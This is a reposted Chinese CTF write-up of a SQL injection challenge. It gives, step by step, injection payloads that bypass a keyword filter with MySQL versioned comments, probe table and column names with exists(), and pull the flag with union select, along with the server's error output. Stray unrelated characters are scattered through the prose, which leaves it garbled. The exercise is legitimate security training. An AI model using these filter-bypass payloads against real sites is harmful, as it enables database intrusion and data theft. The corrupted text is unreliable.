作者:實(shí)驗(yàn)吧
鏈接:https://zhuanlan.zhihu.com/p/21458828
來源:知乎
著作權(quán)歸作者所有垦垂。商業(yè)轉(zhuǎn)載請聯(lián)系作者獲得授權(quán)氏义,非商業(yè)轉(zhuǎn)載請注明出處。
題目標(biāo)題:簡單的SQL注入
題目描述:通過注入獲得flag值
解題鏈接:http://ctf5.shiyanbar.com/423/web/
就這樣一道難度中等的CTF題目兽泣,居然難住了94%的人因篇,你有沒有信心要挑戰(zhàn)一下羹奉?沪停、
題目鏈接:
Pcat牛的writeup
第一步先隨便提交1 也就是?id=1 得到 ID: 1 name: baloteli 提交?id=1' 報(bào)錯(cuò) near ''1''' 這是好事煤辨,說明單引號(hào)可以影響sql語句。 提交?id=1' or ''=' 得到 ID: 1' or ''=' name: baloteli ID: 1' or ''=' name: kanawaluo ID: 1' or ''=' name: dengdeng 這里ID很明顯是自己所注入的語句木张,只有name才是當(dāng)前表里面的數(shù)據(jù)众辨,這里可以留個(gè)心眼(當(dāng)前表估計(jì)只查找一列) or沒被干掉是萬幸的萬幸,接下來試試哪些關(guān)鍵字被干掉 試下and舷礼,提交?id=1' and 1=1 or''=' 報(bào)錯(cuò)鹃彻,換大寫也報(bào)錯(cuò) 既然被過濾掉了,就只能想想各種繞過法子 ?id=1' /*and*/ 1=1 or''=' 沒用 ?id=1' /*!and*/ 1=1 or''=' 可以妻献,這么走運(yùn)就試出來可行法子 于是之后試了幾個(gè)關(guān)鍵字蛛株,發(fā)現(xiàn)/*!關(guān)鍵字*/這樣就可以繞過 -------- 猜表名 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''=' 報(bào)錯(cuò)Table 'web10.admin' doesn't exist 換flag猜下 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ flag) /*!and*/ ''=' 可以团赁,那么就猜列名 ?id=' or /*!exists*/ (/*!select*/ id /*!from*/ flag) /*!and*/ ''=' ?id=' or /*!exists*/ (/*!select*/ name /*!from*/ flag) /*!and*/ ''=' 都可以 ----- 聯(lián)合查詢 ?id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''=' 報(bào)錯(cuò)The used SELECT statements have a different number of columns ?id=' /*!union*/ /*!select*/ 1 /*!from*/ flag /*!where*/ ''=' 可以,也證明一開始的猜想谨履,當(dāng)前表只查找一列 ?id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''=' 報(bào)錯(cuò)Unknowncolumn 'name' in 'field list' - - 這是大坑欢摄,明明之前exists判斷出有name列,結(jié)果這里聯(lián)合就報(bào)沒有這個(gè)name列屉符,出題人肯定又做了什么手腳剧浸。 最后就是換了個(gè)列名锹引,換flag這個(gè)列就可以過了矗钟。 (語句就自己看上面)
WriteUp作者為實(shí)驗(yàn)吧用戶Pcat,轉(zhuǎn)載須注明來源嫌变。